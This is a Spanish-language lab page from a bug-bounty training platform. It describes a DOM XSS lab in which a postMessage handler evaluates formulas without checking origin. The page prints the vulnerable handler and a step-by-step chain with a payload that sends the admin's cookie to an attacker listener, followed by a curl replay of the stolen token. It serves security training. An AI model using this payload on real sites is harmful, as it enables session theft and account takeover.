BBLABSBBLABS
LaboratoriosAprender desde 0FuncionesPreciosTestimoniosDetrás de BBLABS
  1. Inicio
  2. Labs
  3. DOM XSS via postMessage → eval (cross-origin admin pwn)
Insane45 min

DOM XSS via postMessage → eval (cross-origin admin pwn)

Por @gorka

Marketplace social moderno (estilo Wallapop / Vinted) que embebe en su página de búsqueda un iframe propio (`/widget/recommend.html`) llamado "Smart Recommendations Engine v2.4". Ese widget acepta una **fórmula de filtrado** vía `postMessage` desde la SPA padre y la pasa a `eval()`. El handler **no comprueba `event.origin`** ni valida la fórmula. Cualquier ventana que abra/embebe la SPA puede `postMessage` al iframe y ejecutar JS arbitrario en el origen del lab. La cadena se completa abusando del bot Puppeteer admin (Maya Reyes), que abre cualquier URL que un vendedor le mande por chat. El atacante hostea `exploit.html` con `python3 -m http.server 8080`, manda al admin el enlace, el bot navega, popup top-level al lab carga con cookies de admin, `eval` lee `document.cookie`, exfiltra al listener, y el atacante replica la cookie para extraer la flag de `/api/admin/dashboard`.

$600

Es lo que una empresa pagó por este fallo en YesWeHack. Aquí lo tienes reconstruido para que lo encuentres tú.

879 visitas11 completadosActualizado sept 2026
Iniciar sesión para empezar

Aprende a encontrar este bug

Este bug pagó $600 en YesWeHack.

Crea tu cuenta y practica bugs reales que se pagaron. Descarga el entorno, encuéntralo y aprende la técnica exacta — tu camino a tu primer bounty.

650

hunters entrenando

50

labs de hackeos reales

380

completaciones

$12.000

pagados por estos bugs

40 flags capturadas esta semana
Crear cuenta
Ya tengo cuenta

Acceso a todos los labs · sin permanencia · cancela cuando quieras

Hackers que lo han resuelto· 8

kaneki1
@kanekiago 2026
flyingwhales2
@flyingwhalesago 2026
XL3
@xl4njul 2026
AL
@alex.burja.2000jul 2026
pl4nkton
@pl4nktonjun 2026
AT
@atxmay 2026
MA
@maxioliveramay 2026
w4tchw0lf
@w4tchw0lfmay 2026

Objetivos

1
Hacer recon del marketplace: registrar cuenta
2
Inspeccionar el HTML del widget
3
Confirmar el bug manualmente desde la consola del browser
4
Confirmarlo con Burp Suite + DOM Invader
5
Identificar la víctima privilegiada
6
Construir el `exploit.html`
7
Hostearlo con `python3 -m http.server 8080` y enviar al admin por chat

Información

Plataforma
YesWeHack
Dificultad
Insane
Duración
45 min
Bounty
$600
Completados
11
Creador
gorka@gorka
Colaboradores
antoniorivera@antoniorivera
Actualizado
sept 2026

Descarga el entorno

Reprodúcelo y encuentra el bug tú mismo

Crear cuenta

Herramientas

Burp SuiteDOM InvaderNavegador

Prerequisitos

  • Concepto DOM XSS
  • PostMessage

Tags

XSS

Logro que recibirás

Cuando resuelvas este lab desbloqueas este logro compartible

Cuando resuelvas este lab desbloqueas este logro compartible

Writeups de la comunidad

Gratis · sin cuenta

La checklist que repaso en cada objetivo nuevo

47 comprobaciones ordenadas por coste: primero lo que te puede meter en un lío, luego lo barato, y al final lo caro — que es donde están los bounties grandes. Te la mando al correo ahora mismo.

Te das de baja en un clic, desde cualquier correo.

Vendoria es un marketplace de objetos con historia (Express + TypeScript + better-sqlite3 + React 18 + Vite + Tailwind + framer-motion + Puppeteer-core, puerto 2103). El lab tiene 9 usuarios seedeados, 18 anuncios reales, 12 hilos de chat, 22 favoritos y un panel admin con la flag.

Capa única — DOM XSS por postMessage → eval sin event.origin check (CWE-79 + CWE-94):

El equipo de growth de Vendoria construyó un mini "Smart Recommendations Engine" en un iframe propio para iterar sin redeploys del bundle principal. La SPA padre (/search?q=...) lo embebe como <iframe src="/widget/recommend.html?q=..." /> y le manda fórmulas de filtrado vía postMessage. El widget las usa como predicado de Array#filter y devuelve el conteo a la SPA. El equipo de seguridad firmó la excepción para mover el endurecimiento a un mini-DSL en el siguiente quarter — mientras tanto, cualquier fórmula que devuelva un boolean vale.

El handler en server/public/widget/recommend.html:

window.addEventListener('message', function (event) {
  var cfg = event.data;
  if (!cfg || typeof cfg !== 'object') return;
  if (cfg.type !== 'reco-config') return;
  if (typeof cfg.formula !== 'string') return;
  try {
    var matches = items.filter(function (it) { return eval(cfg.formula); });   // ← sink
    render(matches);
    if (event.source) event.source.postMessage({ type: 'reco-result', count: matches.length }, '*');
  } catch (err) { /* swallow */ }
});

Tres detalles convierten esto en DOM XSS cross-origin:

  1. Sin event.origin check. Cualquier ventana puede postMessage al iframe.
  2. eval(cfg.formula). No es Function(...) con 'use strict' ni un parser; es eval puro en el scope del widget.
  3. El widget se sirve mismo origen que la SPA principal, así que el código que se evalúa tiene acceso a document.cookie y puede hacer fetch('/api/...', {credentials:'include'}) con la cookie del usuario activo.

Gadget de víctima — el bot admin (Puppeteer-core). Maya Reyes (id=1, role=admin) tiene un bot que cada 6 segundos llama a GET /api/conversations/_internal/admin-inbox (autenticado como admin), extrae URLs de los mensajes no leídos, reescribe 127.0.0.1:* → host.docker.internal:* (porque los vendedores siempre comparten URLs pensando en su localhost), aplica una allowlist de hosts (host.docker.internal, localhost, 127.0.0.1), lanza Chromium headless con cookie vendoria_token=<JWT admin> setteada para los dominios localhost y host.docker.internal, navega, hace dwell 8 s y cierra. Allowlist estrecha → no es SSRF cross-origin, pero sí es el primitivo perfecto para entregar nuestro exploit.html.

Cookie httpOnly:false. El equipo de marketing integró un SDK legacy (vendoria-analytics-v2) que lee document.cookie para identificar la sesión. Como refactor (RFC-0118 en el roadmap) la cookie vendoria_token se setea con httpOnly:false, sameSite:lax. Esto significa que (a) eval(document.cookie) la lee, y (b) viaja en navegaciones top-level cross-site (window.open).

La cadena completa:

  1. attacker@vendoria.market / password123 → login.
  2. python3 -m http.server 8080 en el directorio del lab (sirve exploit.html).
  3. Chat al admin (id=1): "Maya, urgente, mira este reporte: http://127.0.0.1:8080/exploit.html".
  4. El bot reescribe a http://host.docker.internal:8080/exploit.html y abre la URL con la sesión del admin activa.
  5. exploit.html ejecuta var pop = window.open('http://localhost:2103/search?q=apple', 'pop'). SameSite=Lax permite que la cookie del admin viaje al popup.
  6. El popup carga /search?q=apple que embebe iframe a /widget/recommend.html.
  7. exploit.html hace polling de pop.frames[0].postMessage({ type:'reco-config', formula: "(fetch('http://host.docker.internal:8080/exfil?c='+encodeURIComponent(document.cookie)),false)" }, '*').
  8. El widget hace eval(formula) → fetch sale con document.cookie (que contiene el JWT del admin).
  9. El listener del atacante recibe la cookie en GET /exfil?c=vendoria_token=ey....
  10. curl -H "Cookie: vendoria_token=<JWT>" http://localhost:2103/api/admin/dashboard | jq .flag → FLAG{...}.

Por qué encaja en la familia "DOM XSS via postMessage". El patrón fue descrito por James Kettle (PortSwigger) y popularizado por la herramienta DOM Invader: handlers de message que pasan datos atacante-controlados a sinks peligrosos sin validar el origen. El twist clásico es innerHTML/document.write; este lab usa eval que tiene el mismo impacto pero suele aparecer en motores de "fórmulas configurables", "filter expressions", "chart formulas" y similares. Reportes públicos relacionados: ALL Solutions (HackerOne #1188937, postMessage XSS), Khan Academy (postMessage XSS in formula evaluator), múltiples reportes de YesWeHack PGM (JavaScript code execution via postMessage).

La comunidad

Esto no es una plataforma con usuarios.Es gente rompiendo lo mismo que tú.

Dentro se pregunta, se enseña lo que se ha encontrado y se resuelve en grupo lo que atascaría a cualquiera solo. Se entra gratis: sin cuenta, sin plan y sin dejar el correo.

Entrar a la comunidad de BBLABS en Discord
Entrar al Discord

Es gratis y abierto. No hace falta tener cuenta en BBLABS para entrar.

BBLABS LogoBBLABS

Laboratorios de hacking basados en hackeos reales. Aprende practicando sobre entornos vulnerables, con la resolución explicada paso a paso.

Producto

  • Funcionalidades
  • Precios
  • Labs
  • Aprender desde 0
  • Blog
  • Detrás de BBLABS

Legal

  • Términos
  • Privacidad
  • Cookies
  • Entrar
  • Crear cuenta

Para cualquier duda, bug, soporte o sugerencia puedes escribir a team@bblabs.es

© 2026 BBLABS. Todos los derechos reservados.